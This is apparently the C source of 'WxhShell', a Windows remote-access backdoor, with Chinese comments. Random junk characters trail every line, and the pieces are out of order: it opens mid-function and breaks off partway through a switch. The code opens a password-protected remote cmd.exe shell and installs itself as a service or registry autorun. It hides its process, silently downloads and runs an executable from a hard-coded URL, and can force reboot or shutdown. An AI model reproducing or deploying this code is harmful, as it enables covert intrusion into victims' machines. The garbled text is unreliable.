    if(Boot(SHUTDOWN)) #]h X ."b2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0zW*JJxV  
    else { |5u~L#P  
    closesocket(wsh); KL \>-  
    ExitThread(0); yD"]:ts3  
    } yaz6?,)  
    break; |>Q>d8|k  
    } ]zx%"SUM  
  // 获取shell h@RpS8!Bi  
  case 's': { Ysm RY=3  
    CmdShell(wsh); UPtj@gtcY  
    closesocket(wsh); ~ z^?+MgZ2  
    ExitThread(0); .x I Aep_  
    break; nJI2IPZ  
  } u X,n[u  
  // 退出 L{/% "2>  
  case 'x': { O Z ./suR)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jNj;#C)  
    CloseIt(wsh); UJO3Yn  
    break; etX@z'H  
    } ixA.b#!1  
  // 离开 kk fWiPO^  
  case 'q': { 'T eH(?3G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n/ KO{:  
    closesocket(wsh); (d4btcg  
    WSACleanup(); V]|X ,G  
    exit(1); y:)^*2GA-B  
    break; YR'F]FI  
        } l'I:0a 4T  
  } )<5k+O~  
  } (dlp5:lQz  
88HqP!m%P:  
  // 提示信息 <::lfPP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >/ay'EyY;>  
} 9#9 UzKX#  
  } @gN"Q\;F  
O2fq9%lk  
  return; Avw=*ZW  
} ///Lg{ ie  
96w2qgc2  
// shell模块句柄 bK:U:vpYm  
int CmdShell(SOCKET sock) 0?54 8yH  
{ ?^VPO%  
STARTUPINFO si; :k\#=u(  
ZeroMemory(&si,sizeof(si)); ULiRuN0 6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K]|UdNo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j(%N.f6  
PROCESS_INFORMATION ProcessInfo; evZcoH3~  
char cmdline[]="cmd"; }Xj25` x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g}MUfl-L  
  return 0; "Not /8J  
} nI6 gd%C  
+q&Hj|;8r  
// 自身启动模式 SnE^\I^O  
int StartFromService(void) ?^voA.Bv<  
{ d,GOP_N8I  
typedef struct ZiUb+;JA  
{ R;DU68R  
  DWORD ExitStatus; Sf S3}Tn[  
  DWORD PebBaseAddress; |gE1P/%k  
  DWORD AffinityMask; lcl|o3yQ  
  DWORD BasePriority; hDxq9EF  
  ULONG UniqueProcessId; Au,oX2$  
  ULONG InheritedFromUniqueProcessId; k[@P526  
}   PROCESS_BASIC_INFORMATION; rZ?:$],U!  
JpS}X\]i  
PROCNTQSIP NtQueryInformationProcess; JP4DV=}L  
AW5iwq6p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G _cJI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F*P0=DD  
^;EhKG  
  HANDLE             hProcess; $Ivjcs:  
  PROCESS_BASIC_INFORMATION pbi; 8m") )i-  
%j tUbBN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w0!$ow.l  
  if(NULL == hInst ) return 0; -;9 }P  
J+/}m}bx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y(Oh7VwY*P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lp}S'^ y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f3O6&1D  
oz&`3`  
  if (!NtQueryInformationProcess) return 0; 6:5K?Yo  
)R7Sh51P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zamMlmls^  
  if(!hProcess) return 0; h'"m,(a   
Na91K4r#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y?OP- 27y  
\:;MFG'  
  CloseHandle(hProcess); irQ'Rm [  
L('1NN 2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $e+sqgU  
if(hProcess==NULL) return 0; ILm +o$o ~  
(H_dZL  
HMODULE hMod; &Ym):pc  
char procName[255]; WJq>%<#  
unsigned long cbNeeded; ~A>fB2.pM  
yz68g?"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j4IVIj@$ `  
=e6p v#  
  CloseHandle(hProcess); %}@iz(*}>  
i >3`V6  
if(strstr(procName,"services")) return 1; // 以服务启动 ?W'z5'|  
nkHl;;WJ  
  return 0; // 注册表启动 !R8%C!=a  
} R&|.Lvmc/  
`N\ ^JAGW  
// 主模块 :9QU\{2  
int StartWxhshell(LPSTR lpCmdLine) g`pq*D  
{ mn@1&#c4y  
  SOCKET wsl; Ze V@ X  
BOOL val=TRUE; S"!6]!~^  
  int port=0; ZN8j})lE  
  struct sockaddr_in door; # `=Zc7gf  
`4*I1WZW  
  if(wscfg.ws_autoins) Install(); :UdW4N-  
_=$~l^Y[  
port=atoi(lpCmdLine); vgeqH[:  
*aCL/:  
if(port<=0) port=wscfg.ws_port; =d8Rij-  
+0Q   
  WSADATA data; :^y!z1\2(7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lgews"  
WX4sTxJK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TO Hz3=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %DSr@IX  
  door.sin_family = AF_INET; )=f}vHg$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O?OAXPK2  
  door.sin_port = htons(port); jq H)o2"/  
hJM& rM7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L62'Amml  
closesocket(wsl); IRbyW?/Xv  
return 1; GDLi ?3q  
} ^(JrOh'  
`%Fp'`ZM$8  
  if(listen(wsl,2) == INVALID_SOCKET) { OG}890$n  
closesocket(wsl); x;[ .ZzQ  
return 1; n~629&  
} d.+*o  
  Wxhshell(wsl); PtkMzhX  
  WSACleanup(); PMP{|yEx"  
1"y !wsM%  
return 0; 9p8ajlYg,  
d&^b=d FDu  
} P8m0]T.&x  
e=9/3?El  
// 以NT服务方式启动 i\CA6I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7RT{RE  
{ wm@j(h4  
DWORD   status = 0; Onx6Fy]L  
  DWORD   specificError = 0xfffffff; 3#t9pI4  
IRg2\Hq  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  /!ElAL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >7BP}5`.;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ubu&$4a  
  serviceStatus.dwWin32ExitCode     = 0; })O S2F  
  serviceStatus.dwServiceSpecificExitCode = 0; ~m=GS[=  
  serviceStatus.dwCheckPoint       = 0; I<QUvs%e  
  serviceStatus.dwWaitHint       = 0; v:SHaUS  
z#+WK| a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \hX,z =  
  if (hServiceStatusHandle==0) return; 7 (2}Vs!5  
Tu(:?  
status = GetLastError(); z<eu=OD4t  
  if (status!=NO_ERROR) K#A&  
{ <4TI;yy6?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QjLU@?&  
    serviceStatus.dwCheckPoint       = 0; Z0&^(Fb  
    serviceStatus.dwWaitHint       = 0; FJ84 'T\~  
    serviceStatus.dwWin32ExitCode     = status; bbjba36RO  
    serviceStatus.dwServiceSpecificExitCode = specificError; JM;bNW8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eP~3m  
    return; IX+Jf? &^  
  } nC3+Zka  
wwl,F=| Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 21OfTV-+3  
  serviceStatus.dwCheckPoint       = 0; /K!)}f( 6  
  serviceStatus.dwWaitHint       = 0; 3@=<4$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }!^h2)'7  
} W $D 34(  
7Q/H+)  
// 处理NT服务事件,比如:启动、停止 \y7?w*K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \!-]$&,j4  
{ c&T5C, ]  
switch(fdwControl) L@\t] ~  
{ W,~*pyLdO  
case SERVICE_CONTROL_STOP: ++~ G\T9H  
  serviceStatus.dwWin32ExitCode = 0; 1tXc7NA<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d*+}_EV)Y3  
  serviceStatus.dwCheckPoint   = 0; {b-C,J  
  serviceStatus.dwWaitHint     = 0; 6Y[&1c8  
  { s>;"bzzq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oRd{?I&NY  
  } >*!T`P}p  
  return; @Xoh@:j\  
case SERVICE_CONTROL_PAUSE: ~jw:4sG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; No\#N/1@P  
  break; (&m1*  
case SERVICE_CONTROL_CONTINUE: 5tv*uz|fv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GYw/KT~$  
  break; u|23M,  
case SERVICE_CONTROL_INTERROGATE: pXNhU88  
  break; V.3#O^S  
}; ybJa:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }|h-=T '  
} m:Rx<E E  
7eq.UyUxs  
// 标准应用程序主函数 3wN4kltt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CH+%q+I  
{ ^Whc<>|  
jEKa9rt  
// 获取操作系统版本 0(&uH0x  
OsIsNt=GetOsVer(); 5M\0t\uEn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Mxz X@GBX  
,~;`@  
  // 从命令行安装 5%S5*c6BD  
  if(strpbrk(lpCmdLine,"iI")) Install(); NZ`6iK-V_  
{;bec%pq0  
  // 下载执行文件 ] Q^8 9?  
if(wscfg.ws_downexe) { ])pX)(a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R&s/s`pLW  
  WinExec(wscfg.ws_filenam,SW_HIDE); Jur$O,u40l  
} 0D:uM$ i]  
@uC-dXA"  
if(!OsIsNt) { 3znhpHO)  
// 如果时win9x,隐藏进程并且设置为注册表启动 WL% T nux  
HideProc(); BCExhp  
StartWxhshell(lpCmdLine); y%--/;  
} @lB1t= D  
else Nt+UL/1]  
  if(StartFromService()) y3*IF2G  
  // 以服务方式启动 N cHCcc  
  StartServiceCtrlDispatcher(DispatchTable); J'cE@(US  
else .WOF:Nu4  
  // 普通方式启动 IwFf8? 3  
  StartWxhshell(lpCmdLine); M-Nn \h$,  
>VjtKSN  
return 0; f].z.  
} PmId #2f  
a[^dK-  
F`Vp   
0wBr_b!  
=========================================== ;Xidv9c  
d{!zJ+n  
-GgV&%'a  
oi3Ix7  
j@JY-^~K5  
-eSI"To L<  
" 6O5E4=  
p*P0<01Z  
#include <stdio.h> 7; }TNK\+v  
#include <string.h> ku^2K   
#include <windows.h> !oV'  
#include <winsock2.h> LY0/\Z"N  
#include <winsvc.h> etW-gbr  
#include <urlmon.h> /C<} :R  
jP @t!=  
#pragma comment (lib, "Ws2_32.lib") Rx<[bohio  
#pragma comment (lib, "urlmon.lib") 8HO)",+I  
zJ0'KHF}o  
#define MAX_USER   100 // 最大客户端连接数 8/34{2048  
#define BUF_SOCK   200 // sock buffer nDC5/xB  
#define KEY_BUFF   255 // 输入 buffer qmnCa&C9  
RDG,f/L2  
#define REBOOT     0   // 重启 I@a7!ugU65  
#define SHUTDOWN   1   // 关机 XeBSHvO_  
/=OSGIJzm  
#define DEF_PORT   5000 // 监听端口 b!37:V\#}  
X>jwjRK $  
#define REG_LEN     16   // 注册表键长度 q33!X!br  
#define SVC_LEN     80   // NT服务名长度 6a`_i  
kLY9#p=X  
// 从dll定义API Vo2frWF$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J2#=`|t"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 13{"sY:PT#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w1A&p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TA Yt:  
DPtyCgH  
// wxhshell配置信息 b_Ky@kp  
struct WSCFG { eEe8T=mD  
  int ws_port;         // 监听端口 ]i]sgg[  
  char ws_passstr[REG_LEN]; // 口令 ?t.?f`(|  
  int ws_autoins;       // 安装标记, 1=yes 0=no &<i>)Ss  
  char ws_regname[REG_LEN]; // 注册表键名 U7fE6&g  
  char ws_svcname[REG_LEN]; // 服务名 g?o$:>c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /[#{#:lo2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L@R%*-a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <^ )0M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XKU=VOY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lR^dT4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z8"=W,2  
|V~P6o(/  
}; *&2#;mf3  
qV$',U*+T  
// default Wxhshell configuration $X&OGTlw^  
struct WSCFG wscfg={DEF_PORT, E.% F/mM  
    "xuhuanlingzhe", 2Nl("e^kJr  
    1, yb**|[By  
    "Wxhshell", |QgXSe7  
    "Wxhshell", ;%z0iZmg  
            "WxhShell Service", 0Rk'sEX,  
    "Wrsky Windows CmdShell Service", 01q7n`o#zf  
    "Please Input Your Password: ", @%cJjZ5y  
  1, "RX?"pB  
  "http://www.wrsky.com/wxhshell.exe", {}^ELw  
  "Wxhshell.exe" LA@}{hU  
    }; x}>tX  
u!`C:C'  
// 消息定义模块 ]R>k0X.V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b~1p.J4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YL=k&Q G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tw3d>H`  
char *msg_ws_ext="\n\rExit."; z=Vvb  
char *msg_ws_end="\n\rQuit."; FW.dHvNX  
char *msg_ws_boot="\n\rReboot..."; Q#r 0DWo\  
char *msg_ws_poff="\n\rShutdown..."; /eMZTh*1P  
char *msg_ws_down="\n\rSave to "; qiF~I0_0  
t@JPnA7~  
char *msg_ws_err="\n\rErr!"; H62*8y8  
char *msg_ws_ok="\n\rOK!"; ft6^s(t  
A0X0t  
char ExeFile[MAX_PATH]; O}D8  
int nUser = 0; CijS=-  
HANDLE handles[MAX_USER]; n*6s]iG V  
int OsIsNt; `U1%d7[vY  
S&uL9)Glb  
SERVICE_STATUS       serviceStatus; I~qiF%?d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4K;j:ZJ"x  
ry]7$MQyV  
// 函数声明 NU(/Yit  
int Install(void); h{xER IV1u  
int Uninstall(void); ?-84_i  
int DownloadFile(char *sURL, SOCKET wsh); XP^6*}H.*  
int Boot(int flag); 7~Ga>BK  
void HideProc(void); yl ;'Ru:  
int GetOsVer(void); ,"VQ 0Z1  
int Wxhshell(SOCKET wsl); q |^O  
void TalkWithClient(void *cs); 0amz#VIB<u  
int CmdShell(SOCKET sock); @YB\ PVhW  
int StartFromService(void); +e:ZN tr9  
int StartWxhshell(LPSTR lpCmdLine); O({_x@  
jgo@~,5R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #rr-4$w+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `pMI[pLZe  
2* L/c-  
// 数据结构和表定义 fBOPd =  
SERVICE_TABLE_ENTRY DispatchTable[] = ge oN4  
{ 6qJB"_.  
{wscfg.ws_svcname, NTServiceMain}, 66Xt=US  
{NULL, NULL} |\(/dXXP  
}; %UJ4wm  
)x7hhEk=^  
// 自我安装 l.W:6", w  
int Install(void) oX4uRc7wR  
{ GKtQ>39B  
  char svExeFile[MAX_PATH]; 5#o,]tP  
  HKEY key; (*x "6)`  
  strcpy(svExeFile,ExeFile); 8)!;[G|  
feW9 >f;  
// 如果是win9x系统,修改注册表设为自启动 E\S&} K,s  
if(!OsIsNt) { `j![  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *a%PA(%6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "\[>@_p h  
  RegCloseKey(key); pzr-}>xrZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !~l%6Z5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zNf5OItx  
  RegCloseKey(key); UIj/Id  
  return 0; dZgfls  
    } NLGr=*dq  
  } n_Y]iAoc`  
} \8D~,$,``|  
else { ,R =VzP&  
~\G3 l,4  
// 如果是NT以上系统,安装为系统服务 sD3|Qj;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xH[yIfHkG@  
if (schSCManager!=0) e"6i >w!  
{ 3T/j5m}+!  
  SC_HANDLE schService = CreateService $\!;*SSj  
  ( ?63JQ.;  
  schSCManager, uP]o39b;V  
  wscfg.ws_svcname, rfi`Bp  
  wscfg.ws_svcdisp, FO=1P7  
  SERVICE_ALL_ACCESS, m_ m@>}ud  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OP}p;(  
  SERVICE_AUTO_START, \AzcW;03g[  
  SERVICE_ERROR_NORMAL, AyO|9!F@A  
  svExeFile, _[o^23Hj  
  NULL, Ig KAD#2a  
  NULL, h,'+w  
  NULL, @EZONKT  
  NULL, l5ds`uR#  
  NULL `=DCX%Vw  
  ); 8|NJ(D-$  
  if (schService!=0) "%t`I)  
  { r_E)HL/A  
  CloseServiceHandle(schService); U.'@S8  
  CloseServiceHandle(schSCManager); n;`L5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5z ^UQ q  
  strcat(svExeFile,wscfg.ws_svcname); 9%14k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~{G: ,|`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c.Z4f 7  
  RegCloseKey(key); S\;.nAR  
  return 0; -$t,}3  
    } am+mXb  
  } )6 <byO  
  CloseServiceHandle(schSCManager); 9 /(c cj  
} D#1~]d  
} 1T,PC?vr{  
_l=  
return 1; UiZp -Y%ki  
} i(iP}: 3  
?(8%SPRk  
// 自我卸载 y?#J`o- O  
int Uninstall(void) S{T d/1}  
{ '\B"g@if  
  HKEY key; "nno)~)u  
_i@eOqoC  
if(!OsIsNt) { B~z g"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =L),V~b  
  RegDeleteValue(key,wscfg.ws_regname); qU*&49X  
  RegCloseKey(key); ]\,uF8gg)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UH-uU~  
  RegDeleteValue(key,wscfg.ws_regname); ]NV ]@*`tO  
  RegCloseKey(key); zf>^2t*\  
  return 0; xevP2pYG:  
  } n(YHk\2  
} /8t+d.r;/  
} l )*,18n  
else { cievC,3*  
CN~NyJL H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PFy;qk  
if (schSCManager!=0) 65#:2,s  
{ ?VP!1O=J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yL x .#kx6  
  if (schService!=0) vSC0D7BlG  
  { OrEuQ-,i@  
  if(DeleteService(schService)!=0) { k5;Vl0Ho  
  CloseServiceHandle(schService); KI@    
  CloseServiceHandle(schSCManager); xf"5<PTW</  
  return 0; 6.h   
  } 7Ljj#!`lUp  
  CloseServiceHandle(schService); =/JF-#n/MA  
  } _<RR`  
  CloseServiceHandle(schSCManager); =Z .V+4+  
} i(yAmo9h  
} k7|z$=zY  
q6JW@GT  
return 1; F:o #  
} I,4-  
,o@~OTja*  
// 从指定url下载文件 27E9NO=  
int DownloadFile(char *sURL, SOCKET wsh) ,' r L'Ys  
{ \y H3Y  
  HRESULT hr; BT#=Xh  
char seps[]= "/"; k3>ur>aW  
char *token; $W {yK+N  
char *file; ,mjfZ*N  
char myURL[MAX_PATH]; gr`Ar;  
char myFILE[MAX_PATH]; }pE~85h4M  
zP(=,)d  
strcpy(myURL,sURL); g2{H^YUN$_  
  token=strtok(myURL,seps); }{wTlR.]  
  while(token!=NULL) p=_XMh`;  
  { Vx6? @R  
    file=token; fH e0W  
  token=strtok(NULL,seps); FL#g9U>  
  } 7XVzd]jH  
ocl47)  
GetCurrentDirectory(MAX_PATH,myFILE); yI.}3y{^5  
strcat(myFILE, "\\"); nJ*mEB  
strcat(myFILE, file); '`]n_$f'  
  send(wsh,myFILE,strlen(myFILE),0); H/Ec^Lc+_  
send(wsh,"...",3,0); 33<fN:J]f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `!omzE*bk5  
  if(hr==S_OK) {nQ)4.e6  
return 0; S}w.#tyEn  
else EN-H4F  
return 1; rI<nUy P?  
lQdnL.w$.4  
} tSb?]J  
uqa4&2(I=j  
// 系统电源模块 UROj9CO v  
int Boot(int flag) ?H[5O+P[  
{ 8{G?92 {rN  
  HANDLE hToken;  t$H':l0  
  TOKEN_PRIVILEGES tkp; pdi=6<?bd  
6/[Z178m  
  if(OsIsNt) { ^5;vx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )ew[ Ak|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Foe>}6~{?  
    tkp.PrivilegeCount = 1; dgco*TIGO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v;fJM5PA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s ~Lfi.  
if(flag==REBOOT) { :J Gl>V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'n^2|"$sH  
  return 0; ;v,9 v;T  
} fwi};)K  
else { 1C0Y0{6,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3'[Rvy{  
  return 0; vQK n=  
} *U;4t/(  
  } X`fhln9N  
  else { 5@ bc(H  
if(flag==REBOOT) { c{mKra  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >P\h,1  
  return 0; A,m4WO_q3  
} DHm[8 Qp  
else { ~JwpNJs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ShWHHU(QQ  
  return 0; G{NSAaD[  
} W&+y(Z-t  
} %XJQ0CE<(  
O->_/_  
return 1; (ve+,H6w\  
} ]~ !X iCqu  
*?_qE  
// win9x进程隐藏模块 `E} p77  
void HideProc(void) <$jKy3@  
{ ; .ysCF  
Pgn_9Y?<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x?,~TC4  
  if ( hKernel != NULL ) G&x'=dJ  
  { p-5P as  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9W1;Kb|Z<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &l. x:eD  
    FreeLibrary(hKernel); 5-8]N>/b!  
  } `*e4m  
 6R;)  
return; C9<4~IM w  
} 45x,|h[F{5  
SkiJ pMN  
// 获取操作系统版本 8yE!7$Mj  
int GetOsVer(void) gB]C&Q  
{  6Xdtr  
  OSVERSIONINFO winfo;  d?:`n 9`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?. zu2  
  GetVersionEx(&winfo); bK3B3r#$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |}_gA  
  return 1; H1` rM^,%A  
  else \#PP8  
  return 0; B/jrYT$;m  
} Ln ~4mN^  
<1aa~duT  
// 客户端句柄模块 \s=QiPK  
int Wxhshell(SOCKET wsl) Bu7A{DRf  
{ %6AYCN?Ih  
  SOCKET wsh; UhsO\9}qH  
  struct sockaddr_in client; 7dSh3f!  
  DWORD myID; (E!%v`_0  
|/@0~O(6  
  while(nUser<MAX_USER) A)8rk_92Q  
{ qE>i,|rP`  
  int nSize=sizeof(client); |vv]Z(_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \). Nag+  
  if(wsh==INVALID_SOCKET) return 1; QT#b>xV)1  
y0,Ft/D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x.I][(}  
if(handles[nUser]==0) kr^0% A  
  closesocket(wsh); G9\EZ\x!  
else '.pgXsC:=?  
  nUser++; D899gGe  
  } 43KaL(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +Dv7:x7  
!0`lu_ZN  
  return 0; vx'l> @]k  
} #`/bQ~s  
sNL+F  
// 关闭 socket 4 GUA&qs  
void CloseIt(SOCKET wsh) ,1,&b_  
{ <z,+Eg  
closesocket(wsh); 'r~8  
nUser--; rB,ldy,f  
ExitThread(0); >gr<^$  
} C?,*U  
M3ZOk<O<R  
// 客户端请求句柄 A*hZv|$0  
void TalkWithClient(void *cs) T-^0:@5o9  
{ sr\cVv")  
UanEzx%  
  SOCKET wsh=(SOCKET)cs; W/sY#"  
  char pwd[SVC_LEN]; yKYl@&H/%  
  char cmd[KEY_BUFF]; @9aGz6k+  
char chr[1]; h{I`7X  
int i,j; gt'*B5F(  
47KNT7C  
  while (nUser < MAX_USER) { 8+ov(B;(  
22z1g(; @  
if(wscfg.ws_passstr) { DacN {r"3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >E, Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yX`#s]M  
  //ZeroMemory(pwd,KEY_BUFF); MZ WmlJ   
      i=0; w^3|(F  
  while(i<SVC_LEN) { ?b56AE  
p+$+MeBz  
  // 设置超时 &Y+e=1a+  
  fd_set FdRead; 6F(hY !}5  
  struct timeval TimeOut; wZQ)jo7*g  
  FD_ZERO(&FdRead); ^_sQG  
  FD_SET(wsh,&FdRead); 0Q7MM6  
  TimeOut.tv_sec=8; sdrWOq  
  TimeOut.tv_usec=0; rS4%$p"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); opXDm\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "e@n:N!  
7{4w 2)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YGETMIT(  
  pwd=chr[0]; H37Qg ApB  
  if(chr[0]==0xd || chr[0]==0xa) { 9:Si] Pp+S  
  pwd=0; e9 *lixh  
  break; E:)Cp  
  } LX\)8~dp  
  i++; ;,k=<]  
    } pl|h>4af  
9p4y>3  
  // 如果是非法用户,关闭 socket X &D{5~qC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NEw $q4  
} ~cIl$b  
"kU]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1 DqX:WM6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h/HH Kn  
>k;p.Pay%  
while(1) { <[ZI.+_Wt  
J1X~vQAe  
  ZeroMemory(cmd,KEY_BUFF); OM)3Y6rK  
ALXTR%f  
      // 自动支持客户端 telnet标准   TdFT];:  
  j=0; wG8 nw;  
  while(j<KEY_BUFF) { f0DK>L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }RIU8=P  
  cmd[j]=chr[0]; <UT>PCNG  
  if(chr[0]==0xa || chr[0]==0xd) { N'QqJe7Z  
  cmd[j]=0; 9,scH65x  
  break; {jW%P="z$"  
  } i$C-)d]  
  j++; a.q;_5\5`  
    } x#r<,uNn,  
 L=]p_2+  
  // 下载文件 xzr<k Sp  
  if(strstr(cmd,"http://")) { [pL*@9Sa&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O%&cE*eX  
  if(DownloadFile(cmd,wsh)) L5f$TLw h;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :RiF3h(  
  else FshC )[w,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 35_)3 R)  
  } OhFW*v  
  else { y3JMbl[S0  
Ac`;st%l.  
    switch(cmd[0]) { {$33B'wk  
  ^_W40/c3  
  // 帮助 >g}G}=R~3  
  case '?': { 6pp$-uS  
